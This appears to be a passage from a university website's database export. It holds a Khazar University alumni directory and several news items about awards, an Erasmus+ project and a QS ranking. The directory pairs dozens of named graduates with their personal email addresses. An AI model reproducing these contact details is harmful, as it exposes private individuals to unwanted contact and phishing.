margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"B\">B</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bahar İsmayilova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Bahar.ismayilli@gmail.com\">Bahar.ismayilli@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Bahar.ismayilli@gmail.com\"></a>Bachelor 2015</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bahar Alakbarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:springalek@gmail.com\">springalek@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"F\"><strong>F</strong></h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Orujova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Filology</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Institute of young democrats(volunteer)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:fialkakhj@gmail.com\">fialkakhj@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:fialkakhj@gmail.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"G\">G</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel Badalova</strong><o:p></o:p></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Barattson education centre</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Badalova_92g@mail.ru\">Badalova_92g@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunel İsgandarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Isgenderovag8@gmail.com\">Isgenderovag8@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Gunay Huseynova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Teaching </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:huseynova_gunay93@mail.ru\">huseynova_gunay93@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:huseynova_gunay93@mail.ru\"></a>2015</p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p>J</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Jamil Topchubashov</strong><o:p></o:p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“Almalı” Trading company/Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:jamil.t@hotmail.com\">jamil.t@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:jamil.t@hotmail.com\"></a>Bachelor 2015</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Javahirkhanim Malikova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Cipo94@mail.ru\">Cipo94@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Cipo94@mail.ru\"></a>Bachelor 2015</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Jamila Shamilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijani Language and Literature Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:shamilova-1994@mail.ru\">shamilova-1994@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:shamilova-1994@mail.ru\"></a>Bachelor 2015</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"H\">H</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hamidakhanim Alasgarova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:hemide015@hotmail.com\">hemide015@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hava Mammadova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:havva.mammadova@hotmail.com\">havva.mammadova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"K\">K</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kifayat Ahmadli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Kifayet.selimova@mail.ru\">Kifayet.selimova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"L\">L</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Laman Gurbanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:qurbanovaleman@gmail.com\">qurbanovaleman@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Lala Sabziyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Technical\r\nActivities Centre</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:lala%C5%9Fzabziyeva@gmail.com\">lalaşzabziyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Laman Shamilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kimya /Biologiya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Leman.shamilova@gmail.com\">Leman.shamilova@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Leman.shamilova@gmail.com\"></a>2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"M\">M</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mammadali Alakbarov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İctimai Television/Editor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Mamed-elekberov@mail.ru\">Mamed-elekberov@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Mamed-elekberov@mail.ru\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"N\">N</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nubar Novruzlu</strong><o:p></o:p></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of Education</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:nubar.novruzlu.94@gmail.com\">nubar.novruzlu.94@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Narmina&nbsp;Umudova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Teaching</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:narmina.umudova@mail.ru\">narmina.umudova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nurtaj Alizada</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:nurtaj.alizade@yahoo.com\">nurtaj.alizade@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:nurtaj.alizade@yahoo.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"S\">S</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj&nbsp; Mustafazade&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Language and Literature </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Filology&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR Head office., engineer&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sevincnecefova@yahoo.com\">sevincnecefova@yahoo.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2005</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Suma Gadimaliyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sima.qedimeliyeva@gmail.com\">sima.qedimeliyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sakina Seyidova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijan Technical University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sakinaseyidova@yahoo.com\">sakinaseyidova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Mahammadova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khachmaz District geography teacher</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sabinamahammadova@mail.ru\">sabinamahammadova@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:sabinamahammadova@mail.ru\"></a>Bachelor 2015</p><hr noshade=\"noshade\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahana Khalilova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sumqayit, İdrak Lyceum</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Sehane.xelilova@gmail.com\">Sehane.xelilova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahla Safarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khazar University</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:shahlasafarova1@gmail.com\">shahlasafarova1@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"U\">U</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulfana Tahhiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijani Language and Literature&nbsp;\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">\"Azerbaijan\r\nRailways CJSC\" Emergency Situations Train Ltd.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Ulfane.tagiyeva@mail.ru\">Ulfane.tagiyeva@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulkar Gahramanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ulkargahramanova@gmail.com\">ulkargahramanova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"V\">V</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vusala Shahverdizade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Teacher at Khizi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:vusalashahverdizada@gmail.com\">vusalashahverdizada@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"Y\">Y</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yassi Nuriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Education </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Yassi.nuriyeva1993@mail.ru\">Yassi.nuriyeva1993@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yasaman Gadirova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">English Teaching</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Gold Language Teaching Center, İs Alyans</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:jasminkhazar@yahoo.com\">jasminkhazar@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>'),(4001,2336,'az','“Xəzər”in departament müdirinə dosent diplomu verildi','2017-ci il iyulun 18-də Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi...','2017-ci il iyulun 18-də Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirildi. Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, fəlsəfə doktoru Muxtar Hacızadəyə də dosent diplomu verilmişdir.'),(4002,2337,'az','“Xəzər Xəbər” jurnalının iyun nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il iyun nömrəsi (363-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır...','“Xəzər Xəbər” jurnalının 2017 - ci il iyun nömrəsi (363-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org\" title=\"xezer_xeber\">http://khazar-review.khazar.org/</a>'),(4003,2338,'az','“Şərq” qəzetində professor Hamlet İsaxanlı ilə müsahibə','2017-ci il iyulun 18-də “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə...','<p>2017-ci il iyulun 18-də “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə \"Eynşteyn Azərbaycanda oxusaydi, ona attestat verməzdilər\" sərlövhəli müsahibə dərc olunmuşdur. Müsahibədə professor təhsil sistemində bərabər, azad mühitin yaradılması zərurətindən və digər məsələlərdən bəhs edir.</p><p>Müsahibəni bu linkdə oxumaq olar: <a href=\"http://www.sherg.az/site/id-34225/\" eynşteyn_azərbaycanda_oxusaydı,_ona_atestat_verməzdilər\"#kalibri\"=\"\" title=\"musahibe\" target=\"_blank\">http://www.sherg.az/site/id-34225/%22Eyn%C5%9Fteyn_Az%C9%99rbaycanda_oxusayd%C4%B1,_ona_atestat_verm%C9%99zdil%C9%99r%22#Kalibri </a> <br></p>'),(4004,2338,'en','Interview with professor Hamlet Isakhanli in \"Sharq\" newspaper','On July 18, 2017, an interview entitled “If Einstein had studied in Azerbaijan he would not have been given a certificate”, with Professor Hamlet Isaxanli, the founder of Khazar University and...','<p>On July 18, 2017, an interview entitled “If Einstein had studied in Azerbaijan he would not have been given a certificate”, with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was published on the website of the \"Sharq\" newspaper.</p><p>In the interview, Professor speaks about the necessity of creating an equal, free environment in the education system and other issues.</p><p>The interview can be read via the link below: <a href=\"http://www.sherg.az/site/id-34225/%22Eyn%C5%9Fteyn_Az%C9%99rbaycanda_oxusayd%C4%B1,_ona_atestat_verm%C9%99zdil%C9%99r%22#Kalibri\" title=\"interview\" target=\"_blank\">http://www.sherg.az/site/id-34225/%22Eyn%C5%9Fteyn_Az%C9%99rbaycanda_oxusayd%C4%B1,_ona_atestat_verm%C9%99zdil%C9%99r%22#Kalibri</a>  <br></p>'),(4005,2330,'en','Training on ”Joint Programme Development: Opportunities and Practical Tips” at Khazar University','On October 10-11, 2017, the training on Developing Joint Degree Programs will be held within the frame of Technical Assistance Missions (TAM)...','<p>On October 10-11, 2017, the training on Developing Joint Degree Programs will be held within the frame of Technical Assistance Missions (TAM) at Khazar University. Annika Sundbäck-Lindroos, the expert on joint degree programs, program manager at the Finnish National Agency for Education, will give information about joint degree programs and their opportunities, successful cases from the region and Europe, practical details of the development process, the minimum requirements to build such programs and provide some recommendations to follow when starting building these programs.</p>\r\n<p>Higher education specialists (lecturers, administrators, international office staff, school principals, education policy advisors) interested in establishing and managing international degree programs in Azerbaijan are encouraged to attend the training.</p>'),(4006,2339,'en','PETRA Kick-off meeting held at KHAZAR University','On July 17-18, 2017 kick off meeting of the ERASMUS + project on Promoting Excellence in Teaching and Learning now coordinated by Polytechnic University of Valencia was held at Khazar University...','<p>On July 17-18, 2017 kick off meeting of the ERASMUS + project on Promoting Excellence in Teaching and Learning now coordinated by Polytechnic University of Valencia was held at Khazar University.</p><p>Representatives of all local and European partners of the project participated in the kick of meeting. The meeting’s official part was opened with the speeches given Professor Hamlet Isaxanli, Founder and Chairman of Board of Directors and Trustees of Khazar University, Dr. Sulhaddin Gozalov, Head of Student Support and Exchange Programs Unit Department of Science and Higher Education, Ministry of Education of Azerbaijan Republic, Dr. Javier Orozco, project manager from UPV and Mr. Parviz Bagirov, Head of the National ERASMUS + office.</p><p>During the two-day meeting, detailed plan of activities, financial issues, roles and responsibilities of each partner, study visits, potential risks and the plans to overcome them have been discussed. The group developed the 6-month plan and the first-year study visits of the project. Khazar University, as a lead partner in the project, will present the first study of the establishment of a Teaching and Learning system at each Azerbaijani partner institutions. The report on the first deliverable promised to be presented by the end of September 2017.</p><p>The project involves 14 partners from Azerbaijan and Europe with the aim to promote teaching and learning excellence in Azerbaijan. Specific objectives are (1) Building Capacity for Developing Teaching and Learning Process to meet pedagogical and technological needs and (2) Improving and Providing Quality Teaching and Learning through innovative technology, promoting research, improving active learning, and establishing long-term partnerships with European universities.</p><p>The three-year project is designed and developed with close participation of 9 partners from Azerbaijan and 5 partners from Europe and it has been granted 908.623,00 Euros.</p><p>The project’s direct beneficiaries are PhD students, researchers and other members of academic staff.</p><p>The list of Azerbaijani and European partners is as below:</p><p>1. Khazar University</p><p>2. Nakchivan State University</p><p>3. Ganja State University</p><p>4. Sumgayit State University</p><p>5. Baku Slavic University</p><p>6. Azerbaijan University of Languages</p><p>7. Azerbaijan State Pedagogical University</p><p>8. Azerbaijan University</p><p>9. Ministry of Education of Azerbaijan Republic</p><p>10. University of Jyvaskala, Finland</p><p>11. University of Debrecen, Hungary</p><p>12. University of Valencia, Spain – coordinator</p><p>13. University of Applied Sciences bfi Vienna, Austria</p><p>14. Gazi University, Turkey</p>'),(4007,2340,'az','“Xəzər Universiteti Dünya Ali Təhsil Məkanında Sürətlə Yüksələn Gənc Ulduzdur”  (“QS Top Universities”)','2017-ci il iyulun 14-də dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatı “QS Top 50 Under 50” illik universitet reytinqini açıqladı...','<p>2017-ci il iyulun 14-də dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatı “QS Top 50 Under 50” illik universitet reytinqini açıqladı. Bu reytinq bütün dünya üzrə 50 ildən az fəaliyyət göstərən gənc universitetləri əhatə edir.</p><p>Bu reytinqin əsas məqsədi yaşlarının az olmasına baxmayaraq artıq özünü sübut etmiş və uzun tarixə malik olan universitetlərlə yarışa biləcək universitetlərin dəyərləndirilməsidir.</p><p>53 ölkədən 150 ən yaxşı gənc universitet bu siyahıya daxil edilmişdir.</p><p>Xəzər Universiteti Azərbaycandan 150 ən gənc dünya universitetləri arasında yer alan yeganə universitetdir. Xəzər Universiteti Middlesex Universiteti (Birləşmiş Krallıq), Dublin Texnologiya İnstitutu (İrlandiya), Bielefeld Universiteti (Almaniya), London Metropolitan Universiteti (Birləşmiş Krallıq), Nottingham Trent Universiteti (Birləşmiş Krallıq) və George Mason Universiteti (ABŞ) kimi tanınmış universitetlərlə bir sırada yer alıb.</p><p>Keçmiş Sovet ölkələrindən dörd ölkə – Azərbaycan, Qazaxıstan, Rusiya və Ukrayna hər biri bu siyahıda bir universitetlə təmsil olunmuşdur. Türkiyədən bu siyahıya dörd universitet (Bilkent Universiteti, Koç Universiteti, Sabancı Universiteti və Çukurova Universiteti) daxil olunmuşdur.</p><p>Dünyanın gənc universitetlərinin fəaliyyəti bir sıra meyarlar üzrə qiymətləndirilib: elm və təhsil dünyasında nüfuz, işəgötürənlər arasında nüfuz, müəllim-tələbə nisbəti, nəşr etdirdiyi elmi məqalələr və onlara istinad, xarici müəllimlərin nisbəti və xarici tələbələrin nisbəti.</p>\r\n<p>Daha ətraflı məlumatı bu linkdən almaq olar: <a href=\"https://www.topuniversities.com/university-rankings/top-50-under-50/2018\" title=\"rating\" 